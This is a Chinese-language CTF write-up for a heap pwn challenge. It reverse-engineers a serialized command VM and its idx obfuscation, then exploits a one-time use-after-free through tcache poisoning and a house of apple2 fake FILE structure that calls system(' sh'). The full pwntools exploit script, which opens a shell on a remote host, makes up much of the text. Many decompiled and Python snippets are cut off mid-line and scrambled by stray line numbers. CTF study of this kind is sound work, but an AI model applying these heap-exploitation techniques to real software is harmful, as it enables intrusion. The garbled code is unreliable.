ctf

前言

昨天刚刚结束的湾区杯
全场只有5解的pwn题,差点拿到3血(其实差了不少: / )
失去了AI的辅助,全身心投入逆向分析,看起来也不是件坏事

附件分析

附件可以到看雪上下载: 下载链接
本题的数据传输采取了类似protobuf的序列化/反序列化数据包传输指令
所以我们在进行堆利用前要将自定义的vm操作梳理清楚

数据包逆向

在主逻辑前,先是进行了对时间种子的设置
经典的伪随机数
1758028652777
1758028669696

随后是个循环读入
注意看这里读入的循环判断,是当前读入的字节(char)为负数
1758028694275

字符串与数字的转化

读入后进行了dump_num操作,按照一定格式把str转化为__int64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall dump_num(_QWORD *size, __int64 ptr, unsigned __int64 n9_1, unsigned __int64 *len)
{
  unsigned __int64 v4; // rax
  char v6; // [rsp+27h] [rbp-19h]
  unsigned __int64 n9; // [rsp+28h] [rbp-18h]
  char v8; // [rsp+34h] [rbp-Ch]
  __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = 0LL;
  v8 = 0;
  n9 = 0LL;
  while ( n9 = 0 )
    {
      *size = v9;
      *len = n9;
      return 0LL;
    }
    v8 += 7;
  }
  return 0xFFFFFFFFLL;
}

可以看到在循环中,将字符转化为数字,并使用”|“运算和”>7
t|=0x80
num+=p8(t)
s=u8(num[-1:])
num=num[:-1]
num+=p8(s-0x80)
return num

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

必须为保证想要读入的每一位对应的字符的正负标志位为1,我们可以为每位(除了最高位)都”|“上一个0x80(char类型的正负标志位),最高一字节保持正常(ascii对应为正数)
![1758028737988](/images/%E6%B8%AF%E6%B9%BE%E6%9D%AF/1758028737988.png)
预期情况下会申请一个我们刚刚传入大小的堆块,并要求我们输入申请大小的数据

### 组成opcode的结构体
随后返回main函数调用dump_opcode函数

```c
__int64 __fastcall dump_opcode(__int64 ptr, unsigned __int64 size, opchunk *opcode)
{
  unsigned __int64 n9; // [rsp+28h] [rbp-48h] BYREF
  __int64 num2; // [rsp+30h] [rbp-40h] BYREF
  unsigned __int64 n9_1; // [rsp+38h] [rbp-38h] BYREF
  __int64 num; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 len; // [rsp+48h] [rbp-28h] BYREF
  unsigned __int64 num1; // [rsp+50h] [rbp-20h] BYREF
  __int64 n3; // [rsp+58h] [rbp-18h]
  unsigned __int64 n4; // [rsp+60h] [rbp-10h]
  unsigned __int64 now_len; // [rsp+68h] [rbp-8h]

  memset(opcode, 0, sizeof(opchunk));
  now_len = 0LL;
  while ( now_len > 3;                             // 右移3位
    n3 = num1 & 7;                              // 最3低位
    if ( (num1 & 7) != 0 )
    {
      if ( n3 != 2 )
        return 0xFFFFFFFFLL;
      if ( (unsigned int)dump_num(&num2, ptr + now_len, size - now_len, &n9) )// 最低位为2
        return 0xFFFFFFFFLL;
      now_len += n9;
      if ( size content_ptr = now_len + ptr;    // 剩余内容的起始指针
        opcode->content_lenth = num2;           // 第二个num(?)
        opcode->content_flag = 1;               // 标志位
      }
      now_len += num2;
    }
    else                                        // 低三位为0
    {
      if ( (unsigned int)dump_num(&num, ptr + now_len, size - now_len, &n9_1) )
        return 0xFFFFFFFFLL;
      now_len += n9_1;
      switch ( n4 )                             // 右移三位
      {
        case 1uLL:
          opcode->opcode = num;
          opcode->opcode_flag = 1;
          break;
        case 2uLL:
          opcode->Idx = num;
          opcode->Idx_flag = 1;
          break;
        case 3uLL:
          opcode->size = num;
          opcode->size_flag = 1;
          break;
      }
    }
  }
  return 0LL;
}

首先从上个函数读入的内容中开始使用dump_num取出一个数字
根据最低三比特与第四比特的bool标志进入不同的分支
分别opcode的不同字段设置内容/设置不同内容对应的标志位
从这个函数中我们也能分析出对应的opcode结构体

1
2
3
4
5
6
7
8
9
10
11
12
struct __fixed opchunk // sizeof=0x38
{
    __int64 opcode;
    __int64 Idx;
    __int64 size;
    __int64 content_ptr;
    __int64 content_lenth;
    int opcode_flag;
    int Idx_flag;
    int size_flag;
    int content_flag;
};

其中

  • opcode用于指定进行什么堆操作(add,edit,free…)

  • Idx用于设置操作堆块的编号

  • size用于设置操作堆块的大小

  • content_ptr用于设置想要add/edit的内容

  • content_len用于指定content的长度

  • 每个成员都对应一个int类型的flag位,用于标记此变量是否存在
    根据每次从ptr中取出的num不同,可以一次性设置多个成员变量

1758028760614

Idx的获取算法

随后根据数据包中idx的数值,使用get_idx转化真实的idx

1
2
3
4
5
6
7
8
__int64 __fastcall get_idx(char long2)
{
  return sub_132A(Rand ^ long2, 5) & 0xF;
}
__int64 __fastcall sub_132A(unsigned __int8 a1, char n5)
{
  return (a1 > (8 - (n5 & 7)));
}

可以看到idx的获取,是数据包中的Idx成员与随机数进行xor,然后高低位反转,作为最后真正的idx
据此我们可以逆向分析得到如何输入Idx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def idx(Id):
    t1=Id&31
    t2=(Id-t1)>>5
    t1=t1 0x100000 )
    return puts("bad size");
  i_1 = -1;
  for ( i = 0; i = 0x10 || !LODWORD(list[idx].flag) )
    return puts("bad idx");
  if ( !src )
    return puts("need data");
  v7 = &list[idx];
  if ( Size > v7->size )
    return puts("too long");
  n_1 = ture_len;
  if ( Size ptr, src, n_1);
  v7->Id = n;
  *(_BYTE *)(v7->ptr + n) = 0;
  return puts("edited");
}

通过Idx在bss上寻址,找到对应堆块,将内容复制并置零
同样对长度有完备的检查,不存在溢出
以下结构进行edit请求

1
2
3
4
5
6
7
def edit(Id,content):
    payload =m(1= 0x10 || !LODWORD(list[n0x10].flag) )
    return puts("bad idx");
  free((void *)list[n0x10].ptr);
  LODWORD(list[n0x10].flag) = 0;
  return puts("freed");
}

正常的delet操作,不存在uaf漏洞

1
2
3
4
5
6
7
8
9
10
11
def free(Id):
    payload =m(1= 0x10 || !LODWORD(list[n0x10].flag) )
    return puts("bad idx");
  if ( HIDWORD(list[n0x10].flag) )
    return puts("no show");
  if ( list[n0x10].ptr )
    ptr = (const char *)list[n0x10].ptr;
  else
    ptr = "(null)";
  return puts(ptr);
}

正常show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def show(Id):
    payload =m(1= 0x10 || !LODWORD(list[n0x10].flag) )
    return puts("bad idx");
  v2 = &list[n0x10];
  if ( !v2->ptr )
    return puts("no buf");
  free((void *)v2->ptr);
  HIDWORD(v2->flag) = 1;
  chance = 1;
  puts("uaf armed");
  return overflow();
}
int overflow()
{
  int v0; // eax
  _BYTE buf[77]; // [rsp+Fh] [rbp-51h] BYREF
  int v3; // [rsp+5Ch] [rbp-4h]

  v3 = 0;
  puts("your msg:");
  while ( read(0, buf, 1uLL) == 1 && buf[0] != 10 )
  {
    v0 = v3++;
    buf[v0 + 1] = buf[0];
  }
  buf[v3 + 1] = 0;
  return puts("done");
}

出题人给了一次uaf机会,且在uaf后调用了一次可以无限栈溢出的函数overflow
以下结构请求uaf操作

1
2
3
4
5
6
7
8
9
def uaf(Id):
    payload =m(1>12
print(hex(key))
_IO_list_all=libc.sym._IO_list_all+base
system=libc.sym.system+base
edit(3,p64(key^_IO_list_all))
print(hex(_IO_list_all))
add(0x20,b'a')
add(0x20,p64(heap+0x340))

污染next指针为_IO_list_all,将其劫持到堆上的可控地址中

伪造IO结构体,并触发其中的函数表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
data=heap+0x340
_IO_wfile_jumps=base+libc.sym._IO_wfile_jumps
fake=flat({
    0x00:"  sh",
    0x28:p64(1),
    0x68:p64(system),
    0x88:p64(heap+0x900),
    0xa0:p64(data),
    0xd8:p64(_IO_wfile_jumps),
    0xe0:p64(data)
    },filler=b'\x00')
edit(5,fake)
ex()
io.sendline(b"cat flag")
io.interactive()

经典的house of apple2,调用system(“ sh”)getshell

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from ctypes import *
context.log_level='debug'
lib = cdll.LoadLibrary('./libc.so.6')
#io=process("./pwn")
io=remote("172.36.120.113",8888)
libc=ELF('./libc.so.6')
lib.srand(lib.time(0))
cookie=lib.rand()
def bug():
    gdb.attach(io)
def m(n):
    num=b""
    while n:
        t=n&0x7f
        n=n>>7
        t+=0x80
        num+=p8(t)
    s=u8(num[-1:])
    num=num[:-1]
    num+=p8(s-0x80)
    return num
def idx(Id):
    t1=Id&31
    t2=(Id-t1)>>5
    t1=t1>12
print(hex(key))
_IO_list_all=libc.sym._IO_list_all+base
system=libc.sym.system+base
edit(3,p64(key^_IO_list_all))
print(hex(_IO_list_all))
add(0x20,b'a')
add(0x20,p64(heap+0x340))
data=heap+0x340
_IO_wfile_jumps=base+libc.sym._IO_wfile_jumps
fake=flat({
    0x00:"  sh",
    0x28:p64(1),
    0x68:p64(system),
    0x88:p64(heap+0x900),
    0xa0:p64(data),
    0xd8:p64(_IO_wfile_jumps),
    0xe0:p64(data)
    },filler=b'\x00')
edit(5,fake)
ex()
io.sendline(b"cat flag")
io.interactive()

后记

本道题解数少,最重要的原因是结构体与算法的逆向复杂+耗费时间,且由于ctf+awdp并发进行,pwn手只能专注于一方面的攻击
无论是在ctf还是iot的学习中,我总感觉自己的逆向能力在AI的帮助下不断退化,可能这也是不少pwn手目前的真实写照
在去AI的情况下打出这道题,真的让我很开心 : )